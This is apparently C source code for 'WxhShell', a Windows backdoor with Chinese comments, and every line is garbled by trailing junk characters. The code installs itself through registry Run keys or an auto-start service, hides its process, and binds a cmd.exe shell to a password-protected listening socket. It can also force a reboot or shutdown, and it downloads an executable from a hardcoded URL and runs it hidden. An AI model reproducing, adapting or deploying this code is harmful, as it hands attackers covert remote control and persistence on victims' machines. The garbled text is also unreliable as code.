    if(Boot(SHUTDOWN)) :KN-F86i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7.T?#;'3  
    else { C?Ucu]cW  
    closesocket(wsh); :LTN!jj  
    ExitThread(0); nm+s{  
    } G`zm@QL  
    break; .2pK.$.  
    } Ah<+y\C  
  // 获取shell $"&JWT!#  
  case 's': { {)"vN(mX  
    CmdShell(wsh); xpI wrJO  
    closesocket(wsh); j4b4!^fV  
    ExitThread(0); AEuG v}#  
    break; Y~Ifj,\  
  } 4=.so~9odX  
  // 退出 b2]Kx&!  
  case 'x': { OH"XrCX7n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a> )f=uS  
    CloseIt(wsh); l]cFqL p  
    break; L(o15  
    } yBRC*0+Vy  
  // 离开 !wp3!bLp  
  case 'q': { h1{3njdr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '!$%> ||S  
    closesocket(wsh); d"NLE'R  
    WSACleanup(); )jC%a6G!  
    exit(1); fX)# =c|5  
    break; 6 r_)sHf  
        } d\Zng!Z'  
  } f-2c0Bi  
  } " Jr-J#gg  
=mGez )T5\  
  // 提示信息 <t,x RBk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZC}QId  
} c"Sq~X  
  } $SE^S   
j7c3(*Pl  
  return; VD:/PL  
} l(q ,<[O  
_2nx^E(pd  
// shell模块句柄 3,=6@U  
int CmdShell(SOCKET sock) %IRi1EmN8  
{ H.2QKws^F  
STARTUPINFO si; G9 :l'\  
ZeroMemory(&si,sizeof(si)); 4aY|TN/|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EIQ p>|5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]7mt[2 Cd  
PROCESS_INFORMATION ProcessInfo; E!#WnSpnK  
char cmdline[]="cmd"; _y>~ yZx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iIogx8[  
  return 0; _y3Xb`0a  
} Lk$B{2^n  
Z<4AL\l 98  
// 自身启动模式 ^I)N. 5  
int StartFromService(void) e$pV%5=  
{ hzRYec(  
typedef struct Gbw2E&a  
{ $\! 7 {6a  
  DWORD ExitStatus; ,: ->ErP  
  DWORD PebBaseAddress; J")#I91  
  DWORD AffinityMask;  ][]  
  DWORD BasePriority; 2|bn(QYz  
  ULONG UniqueProcessId; u4_9)P`]0  
  ULONG InheritedFromUniqueProcessId; W T}H>T  
}   PROCESS_BASIC_INFORMATION; H4JTGt1"  
l (%1jC8  
PROCNTQSIP NtQueryInformationProcess; JLJ;TM'4=  
J'2X&2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6DWgl$[[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [h:T*(R?  
]d%8k}U  
  HANDLE             hProcess; +H Usz ?  
  PROCESS_BASIC_INFORMATION pbi; "}JZU!?  
6x|jPb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9k~8  
  if(NULL == hInst ) return 0; n}77##+R&C  
2dzrRH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A={UL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p6WX9\qS(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6i*sm.SDw  
(3&?wy_l  
  if (!NtQueryInformationProcess) return 0; -)/$M(Pu"  
FkRo _?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wuqJr:q*#  
  if(!hProcess) return 0; }#E[vRf  
N"y)Oca{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^ K E%C;u  
+t:0SRSt  
  CloseHandle(hProcess); (@}!0[[^  
V#}kwON  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  v<:R#  
if(hProcess==NULL) return 0; I)W`sBL  
 ^Va1f'g  
HMODULE hMod; H$KTo/  
char procName[255]; i@R 1/M  
unsigned long cbNeeded;  :#~j:C|  
+ +#5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w8D"CwS1Rx  
lUiL\~Gq  
  CloseHandle(hProcess); ;xs"j-r/  
Q?/o%`N  
if(strstr(procName,"services")) return 1; // 以服务启动 UEVG0qF  
=iD 3Yt  
  return 0; // 注册表启动 13=.H5  
} ^w06<m  
9 5RBO4w%w  
// 主模块 f0aKlhEC  
int StartWxhshell(LPSTR lpCmdLine) gOOPe5+ J  
{ Vl!6W@g  
  SOCKET wsl; l?^4!&Nm  
BOOL val=TRUE; @k/NY *+  
  int port=0; g SAt@2*U2  
  struct sockaddr_in door; U~l$\ c  
'!a'ZjYyi  
  if(wscfg.ws_autoins) Install(); y Ej^=pw  
`I5wV/%ib  
port=atoi(lpCmdLine); [,KXze_m  
(DP &B%Sf  
if(port<=0) port=wscfg.ws_port; \K<QmK  
a+T.^koY  
  WSADATA data; K>l~SDcZ3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 78H'ax9m  
yq iq,=OvP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qc~iQSI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U2~kJ  
  door.sin_family = AF_INET; ?#YE`]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CoAv Sw  
  door.sin_port = htons(port); Km6YP!i  
.Twk {p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R#8L\1l  
closesocket(wsl); Y]u+\y~  
return 1; Vr1<^Ib  
} ^4Ah_ U  
a,#j =  
  if(listen(wsl,2) == INVALID_SOCKET) {  "{Eta  
closesocket(wsl); c#tjp(-  
return 1;  \qK&q  
} \K]0JH  
  Wxhshell(wsl); [o5Hl^  
  WSACleanup();  fGw9!  
n`&U~s8w  
return 0; ZH)="qx [  
YNj`W1  
} =;&yd';k  
P&e\)Z|  
// 以NT服务方式启动 @w!PaP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hJ#xB6  
{ D^3vr2  
DWORD   status = 0; e?ly H  
  DWORD   specificError = 0xfffffff; h"lv7;B$  
Ev(>z-{F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'B0{_RaTb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Gvqxi|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T+K):u g  
  serviceStatus.dwWin32ExitCode     = 0; P{+T< bk|  
  serviceStatus.dwServiceSpecificExitCode = 0; BC<^a )D=  
  serviceStatus.dwCheckPoint       = 0; K8.!_ c  
  serviceStatus.dwWaitHint       = 0; :#?5X|Gz  
f|lU6EkU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i`$*T y"x  
  if (hServiceStatusHandle==0) return; qXe8Kto  
I \JGs@I   
status = GetLastError(); s '\Uap  
  if (status!=NO_ERROR) -f>%+<k=  
{  J@Q7p}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /j|G(vt5  
    serviceStatus.dwCheckPoint       = 0; .:QLk&a,:,  
    serviceStatus.dwWaitHint       = 0; aL&7 1^R,  
    serviceStatus.dwWin32ExitCode     = status; H_X [t*2  
    serviceStatus.dwServiceSpecificExitCode = specificError; w{@o^rs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hi1JLW,  
    return; bPt!yI:  
  } l +OFw)8od  
u=7J /!H7^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7.#F,Ue_0T  
  serviceStatus.dwCheckPoint       = 0; R1GEh&U{  
  serviceStatus.dwWaitHint       = 0; 4X |(5q?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); os={PQRD  
} g($DdKc|g  
}$Tl ?BRpU  
// 处理NT服务事件,比如:启动、停止 W_8wed:b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {|:;]T"y  
{ jesGV<`?l  
switch(fdwControl) Rt!FPoN,y  
{ m6CI{Sa](l  
case SERVICE_CONTROL_STOP: @A89eZbW  
  serviceStatus.dwWin32ExitCode = 0; H>B&|BO_[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8Sh54H  
  serviceStatus.dwCheckPoint   = 0; 2Kyl/C,  
  serviceStatus.dwWaitHint     = 0; b@f$nS B  
  { '*w00  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &Ao+X=qw  
  } ?ztkE62t  
  return; dCk3;XU  
case SERVICE_CONTROL_PAUSE: n}G|/v<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FZ,#0ZYJGP  
  break; 8UyMVY  
case SERVICE_CONTROL_CONTINUE: ?!cvf{a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9Ujo/3,Ak  
  break; [8,yF D_U  
case SERVICE_CONTROL_INTERROGATE: ^ ALly2  
  break; 8'nVwb8I  
}; giIWGa.a+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]d0tE?9  
} Sf7\;^  
a\E:sPM'>  
// 标准应用程序主函数 | >27 B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z}l3l`h!  
{ pDIVZC  
u TK,&  
// 获取操作系统版本 k+Czj  
OsIsNt=GetOsVer(); &c:Ad% z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C:C}5<fk x  
5$&%re!{Z  
  // 从命令行安装 !0@Yplj  
  if(strpbrk(lpCmdLine,"iI")) Install(); 87P>IO  
4?7W+/~<&  
  // 下载执行文件 ruzspS  
if(wscfg.ws_downexe) { L=8<B=QT$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $yYO_ZBiy  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0#&5.Gr)  
} V'T ,4  
t&CJ% XP  
if(!OsIsNt) { gy0haW   
// 如果时win9x,隐藏进程并且设置为注册表启动 Vz)`nmO}5\  
HideProc(); >JCM.I0_|  
StartWxhshell(lpCmdLine); & <J[Q%2  
} 2.zsCu4lj.  
else +W\f(/q0  
  if(StartFromService()) Vle@4 ]M\  
  // 以服务方式启动 sq[iY  
  StartServiceCtrlDispatcher(DispatchTable); x`mN U  
else {{MRELipW  
  // 普通方式启动 DRgTe&+  
  StartWxhshell(lpCmdLine); ul2")HL];  
&twf,8  
return 0; PGBQn#c<  
} ;YX4:OBqr  
 }'/`2!lY  
I'iGt~4$  
5nO% Ke=  
=========================================== {v2|g  
_D_LgH;}  
^8Q62  
OJ zs Q  
o=?C&f{  
z3M6V}s4  
" ;b(p=\i  
,%Up0Rr,  
#include <stdio.h> &PK\|\\2  
#include <string.h> Q|L9g z[?  
#include <windows.h> rJ{O(n]j  
#include <winsock2.h> ,JN8f]a^"g  
#include <winsvc.h> ;R?I4}O#R8  
#include <urlmon.h> %V{7DA&C  
uYil ?H{kH  
#pragma comment (lib, "Ws2_32.lib") nwaxz>;  
#pragma comment (lib, "urlmon.lib") ]=";IN:SU  
GBFtr   
#define MAX_USER   100 // 最大客户端连接数 [7S} g  
#define BUF_SOCK   200 // sock buffer dW~*e2nq  
#define KEY_BUFF   255 // 输入 buffer i35=Y~P-  
^?]%sdT q  
#define REBOOT     0   // 重启 Yvjc1  
#define SHUTDOWN   1   // 关机 -'BA{#e}L  
5~WGZc  
#define DEF_PORT   5000 // 监听端口 q]N:Tpm9  
C[Dav&=^F  
#define REG_LEN     16   // 注册表键长度 pV,P|>YTf  
#define SVC_LEN     80   // NT服务名长度 p4i]7o@  
ez!C?  
// 从dll定义API <xC#@OZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o b|BXF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q)vplV1A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sx51X^d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "=za??\K}  
iVTGF<  
// wxhshell配置信息 )}'U`'q  
struct WSCFG { | j a-  
  int ws_port;         // 监听端口 i?:_:"^x  
  char ws_passstr[REG_LEN]; // 口令 [[Y0  
  int ws_autoins;       // 安装标记, 1=yes 0=no JPWOPB'H  
  char ws_regname[REG_LEN]; // 注册表键名 /<8N\_wh  
  char ws_svcname[REG_LEN]; // 服务名 OdY=z!Fls  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m[@Vf9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a di [-L#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9>rPe1iv  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ku a) K!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X2i}vjkY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ${nX:!)  
3LTcEd  
}; n` TSu$  
?zJOh^  
// default Wxhshell configuration B8%{}[q  
struct WSCFG wscfg={DEF_PORT, GMZv RAu i  
    "xuhuanlingzhe", j"@93D~  
    1, *[R eb %  
    "Wxhshell", j>/ ,$H  
    "Wxhshell", U Gpu\TB  
            "WxhShell Service", x5WW--YR+  
    "Wrsky Windows CmdShell Service", ,SiY;(b=\  
    "Please Input Your Password: ", U*P. :BvG  
  1, *(>}Y  
  "http://www.wrsky.com/wxhshell.exe", dG71*)<)t  
  "Wxhshell.exe" }sFm9j7yR  
    }; Iu *^xn  
C 2w2252T  
// 消息定义模块 5W@jfh)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^F"iP7   
char *msg_ws_prompt="\n\r? for help\n\r#>"; H'UR8%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -tI'3oT1  
char *msg_ws_ext="\n\rExit."; 9bq<GC'eX8  
char *msg_ws_end="\n\rQuit."; gOK\%&S]  
char *msg_ws_boot="\n\rReboot..."; [e4]"v`N  
char *msg_ws_poff="\n\rShutdown..."; ? j 9|5*  
char *msg_ws_down="\n\rSave to "; ~w;]c_{.b  
d4 (/m_HMu  
char *msg_ws_err="\n\rErr!"; 1#4PG'H  
char *msg_ws_ok="\n\rOK!"; cl*PFQp9j  
@M8|(N%  
char ExeFile[MAX_PATH]; 2JS`Wqy  
int nUser = 0; Z0>DNmH*  
HANDLE handles[MAX_USER]; \Ro^*4B  
int OsIsNt; BiZ=${y  
z|(+|pV(  
SERVICE_STATUS       serviceStatus; ii0Ce}8d~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wB{;bB{  
/Y2/!mU</  
// 函数声明 3o|I[!2.  
int Install(void); o!r8{L  
int Uninstall(void); }O4se"xK  
int DownloadFile(char *sURL, SOCKET wsh); 08m;{+|vY  
int Boot(int flag); !HJ$UG/\  
void HideProc(void); W Qc>  
int GetOsVer(void); '2-oh  
int Wxhshell(SOCKET wsl); lw(e3j  
void TalkWithClient(void *cs); N9rBW   
int CmdShell(SOCKET sock); [|3>MZ2/  
int StartFromService(void); 92'wkS  
int StartWxhshell(LPSTR lpCmdLine); KYxBVgJ  
@i3bgx>_o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9r2IuS0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $.489x+'Z  
xT)psM'CL  
// 数据结构和表定义 .\qj;20W  
SERVICE_TABLE_ENTRY DispatchTable[] = 90Hjx>[  
{ 2w$t wW-  
{wscfg.ws_svcname, NTServiceMain}, oiX"Lz{  
{NULL, NULL} HOp-P8z  
}; *X38{r j  
2spg?]  
// 自我安装 =4 X]gW  
int Install(void) 9Of FM9(:  
{ =[<m[.)i  
  char svExeFile[MAX_PATH]; g+C!kaC)  
  HKEY key; Gj /3kS~@  
  strcpy(svExeFile,ExeFile); 6dEyv99  
]fI/(e_U  
// 如果是win9x系统,修改注册表设为自启动 S|GWcSg  
if(!OsIsNt) { '?yCq$&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ab1/.~^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FCc=e{  
  RegCloseKey(key); -6Mm#sX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O8N[Jl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ehAu^^Q>  
  RegCloseKey(key); HZ*0QgW\(5  
  return 0; vG2b:[W  
    } L{ymI) Y^  
  } (HN4g;{  
} k,Zm GllQ]  
else { bO/*2oau  
,goBq3[%?  
// 如果是NT以上系统,安装为系统服务 7e&\{*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )DUL)S  
if (schSCManager!=0) $YG1z  
{ zG c[Z3N  
  SC_HANDLE schService = CreateService ?&l)W~S  
  ( m^{ xd2  
  schSCManager, )-/gLZsx  
  wscfg.ws_svcname, 4rU! 4l  
  wscfg.ws_svcdisp, ^`qPs/b  
  SERVICE_ALL_ACCESS, cUDgM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !@ YXZ  
  SERVICE_AUTO_START, nD,{3B#  
  SERVICE_ERROR_NORMAL, ;</Twm;:  
  svExeFile, (w2= 2$  
  NULL, '?Iif#Z1  
  NULL, <V_7|)'/A  
  NULL, >AI<60/<  
  NULL, *N/hc  
  NULL ad`_>lA4Lp  
  ); Pcu|k/tk  
  if (schService!=0) lz~J"$b  
  { s([Wn)I  
  CloseServiceHandle(schService); <2P7utdZ  
  CloseServiceHandle(schSCManager); )8{6+{5lu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f3 ]  
  strcat(svExeFile,wscfg.ws_svcname); rvwy~hO"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M>_= "atI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I/UQ'xx  
  RegCloseKey(key); 77 :'I  
  return 0; wh~s Z  
    } uf@U:V  
  } 27#8dV?  
  CloseServiceHandle(schSCManager); h#3m4<w(9  
} e4qj .b  
} ibF#$&!  
En9R>A;`  
return 1; %3a|<6  
} (clU$m+oXX  
Ls: =A6AGM  
// 自我卸载 ->yeJTsE9  
int Uninstall(void) Uk-HP\C"7  
{ BGjb`U#%3  
  HKEY key; ZxS&4>.  
3DoRE2}  
if(!OsIsNt) { ~/`X*n&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ?B4#f!X  
  RegDeleteValue(key,wscfg.ws_regname); SQKt}kDbM  
  RegCloseKey(key); =2oUZjA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D&[Z;,CHMA  
  RegDeleteValue(key,wscfg.ws_regname); [{PqV):p  
  RegCloseKey(key); E5B8 Z?$a  
  return 0; H(\V+@~>AD  
  } i@$-0%,  
} *e<_; Kr?  
} _F8T\f |  
else { LC'2q*:'  
( D}" &2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |@`"F5@,  
if (schSCManager!=0) *:arva5  
{ Sa}D.SBg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bc}dYK3$q  
  if (schService!=0) @ u1Q-:  
  { J#7(]!;F  
  if(DeleteService(schService)!=0) { R[ yL _>  
  CloseServiceHandle(schService); z Z%/W)t  
  CloseServiceHandle(schSCManager); )bYez  
  return 0; H%Y%fQ ~^  
  } dB`b9)Tk0z  
  CloseServiceHandle(schService); YMAQ+A!  
  } ^"tqdeCb=  
  CloseServiceHandle(schSCManager); I>((o`  
} g[!Cj,  
} gNa#|  
hh&Js'd  
return 1; &N{zkMf  
} %\yK5V5  
0QR.   
// 从指定url下载文件 Jn,w)Els  
int DownloadFile(char *sURL, SOCKET wsh) xzK>Xi?  
{ W#45a.v  
  HRESULT hr;  6`"ZsO  
char seps[]= "/"; 4!2SS  
char *token; *o|p)lH  
char *file; .!j#3J..u  
char myURL[MAX_PATH]; 2k3 z'RLG  
char myFILE[MAX_PATH]; FR'b`Xv:  
_5h0@^m7y  
strcpy(myURL,sURL); p#M!S2&z  
  token=strtok(myURL,seps); 3o7xN=N  
  while(token!=NULL) B&nw#saz.  
  { v@,XinB[  
    file=token; N<b D  
  token=strtok(NULL,seps); n1)'cS5}  
  } gX"T*d>y  
kv%)K'fU4  
GetCurrentDirectory(MAX_PATH,myFILE); d H_2 o  
strcat(myFILE, "\\");  oUS ,+e  
strcat(myFILE, file); 8OBF^r44R  
  send(wsh,myFILE,strlen(myFILE),0); g*r/u;  
send(wsh,"...",3,0); STp!8mL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5V rcR=?O  
  if(hr==S_OK) u-M] A z-  
return 0; u~)%tL  
else ok=40B99T  
return 1; ={xqNRVd  
'5cZzC 2  
} feg`(R2  
dp< au A  
// 系统电源模块 | /#'S&!U  
int Boot(int flag) ;q&Z9 lm  
{ [EOMCH2Ki  
  HANDLE hToken; w}b<D#0XC  
  TOKEN_PRIVILEGES tkp; GFY-IC+fc  
'Ix5,^M}B  
  if(OsIsNt) { g$gVm:=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V*kznm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d'q;+ jnP  
    tkp.PrivilegeCount = 1; R]VTV7D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |3|wdzV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \ >(zunL  
if(flag==REBOOT) { FP@ A;/c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UR\ZN@O  
  return 0; }9 FD/  
} o5V`'[c  
else { g` kZ T} h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K5+!(5V~  
  return 0; %)dI2 J^Xf  
} :3 PGf  
  } 7ozYq_ $  
  else { TwwIt5_fN  
if(flag==REBOOT) { 1+FYjh!2t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @p"NJx"  
  return 0; =G[ H,;W  
} 1 S^'C2/b  
else { ,^M]yr*~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q{`@ G"'  
  return 0; ]uJM6QuQ  
} 4Z],+?.[  
} H7J`]nr6  
$TFTIk*uU  
return 1; lWIv(%/@  
} @#1cx  
I@+lFG   
// win9x进程隐藏模块 ,$o-C&nC  
void HideProc(void) _4~k3%w\`l  
{ gnYnL8l`J  
e=-YP8l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \S'cW B  
  if ( hKernel != NULL ) oNrEIgaA(+  
  { Ep,1}Dx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Za34/ro/T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *(>Jd|C  
    FreeLibrary(hKernel); '>"`)-  
  } }[ 7Nb90v  
Mn-<51.%  
return; _y|[Z;  
} AK %=DVkM  
R+k=Ea&x  
// 获取操作系统版本 x ru(Le}E  
int GetOsVer(void) F: f2s:<  
{ ?UU5hek+m  
  OSVERSIONINFO winfo; {kT#o3,>w6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pFS F[9?e>  
  GetVersionEx(&winfo); $/MY,:*e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T27:"LVw  
  return 1; K@y-)I2]  
  else J,MT^B  
  return 0; gjO *h3`  
} wYC9 ~ms-  
g2!0vB>  
// 客户端句柄模块 u_h=nk  
int Wxhshell(SOCKET wsl) #^"hqNwA  
{ (}VuiNY<3  
  SOCKET wsh; @F>[DW]O  
  struct sockaddr_in client; YAX #O\,  
  DWORD myID; Y#GT*V  
[>Ikitow  
  while(nUser<MAX_USER) axHxqhO7zp  
{ "[FCQ  
  int nSize=sizeof(client); 5ENov!$H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4+BrTGp  
  if(wsh==INVALID_SOCKET) return 1; YmdsI+DbIu  
2K5}3<KD/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cq- e c7  
if(handles[nUser]==0) *G8'Fjin'T  
  closesocket(wsh); Qf/j:  
else Jv-zB]3&  
  nUser++; 2pVVoZV.<  
  } j*zB { s K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sxf}Mmsk  
ADuZ}]  
  return 0; *'kC8 ZR5  
} /W7&U =d9  
aY3pvOV  
// 关闭 socket s{b0#[  
void CloseIt(SOCKET wsh) >1_Dk7E0D  
{ ?*B;514  
closesocket(wsh); t sC z+MP  
nUser--;  ^xBb$  
ExitThread(0); F Bd+=bx,Z  
} FjK Ke7  
=MQ2sb  
// 客户端请求句柄 X20<r?^,,  
void TalkWithClient(void *cs) :7zI3Ml@7  
{ 1c1e+H  
EU`' 8*4  
  SOCKET wsh=(SOCKET)cs; \"<GL;  
  char pwd[SVC_LEN]; yQ72v'  
  char cmd[KEY_BUFF]; D'U\]'.  
char chr[1]; +H5 jRw  
int i,j; F#zQQ)(Pf  
i4 y(H  
  while (nUser < MAX_USER) { Lh8# I&x  
THegPD67J  
if(wscfg.ws_passstr) { s?1-$|*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iPRJA{$b_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]9!Gg  
  //ZeroMemory(pwd,KEY_BUFF); G <}7vF  
      i=0; XRX7qo(0g  
  while(i<SVC_LEN) { /v<e$0~s<  
h8Dtq5t4  
  // 设置超时 ?h>(&H jWV  
  fd_set FdRead; Gl3 `e&7  
  struct timeval TimeOut; ee__3>H"/  
  FD_ZERO(&FdRead); rd f85%%7  
  FD_SET(wsh,&FdRead); ?j},O=JFn  
  TimeOut.tv_sec=8; {EiG23!qV  
  TimeOut.tv_usec=0; }W Bm%f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >d1aE)?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8trm`?>  
bCe[nmE2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oW\Q>c7 =  
  pwd=chr[0]; r zc 3k~@  
  if(chr[0]==0xd || chr[0]==0xa) { % B7?l  
  pwd=0; AZBY, :>D  
  break; ]G$!/vXP  
  } ;NvhL|R  
  i++; C/grrw  
    } \, X?K  
P17]}F``  
  // 如果是非法用户,关闭 socket $n_sGr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Rqv+N]  
} T`0`]z!~  
Mz% d_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]xVL11p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SO8|]Fk  
@i1.5z  
while(1) { -f 'q  
8k*k  
  ZeroMemory(cmd,KEY_BUFF); ]c~rPi  
n^I|}u\  
      // 自动支持客户端 telnet标准   'h+4zvI"8  
  j=0; sIQMUC[!  
  while(j<KEY_BUFF) { 0Zp<=\!;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 123-i,epg  
  cmd[j]=chr[0]; P dE)m/  
  if(chr[0]==0xa || chr[0]==0xd) { dzk?Zg  
  cmd[j]=0; >u%[J!Y;;  
  break; eN7yjd'Y6  
  } PT= 2LZ  
  j++; ! Dhfr{  
    } eQ4B5B%j/x  
cmC&s'/8`D  
  // 下载文件 TO;]9`~;Mu  
  if(strstr(cmd,"http://")) { 3mnLV*aRt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J>&dWKM3  
  if(DownloadFile(cmd,wsh)) d&3I>E$UP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hKH Q!`&v  
  else A`mf 8'nTG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L2Qp6A6S  
  } %%H. &*i,  
  else { 4$#ia F  
O,z%7><  
    switch(cmd[0]) { 1tK6lrhj  
  d#$i/&gE  
  // 帮助 FCw VVF0 y  
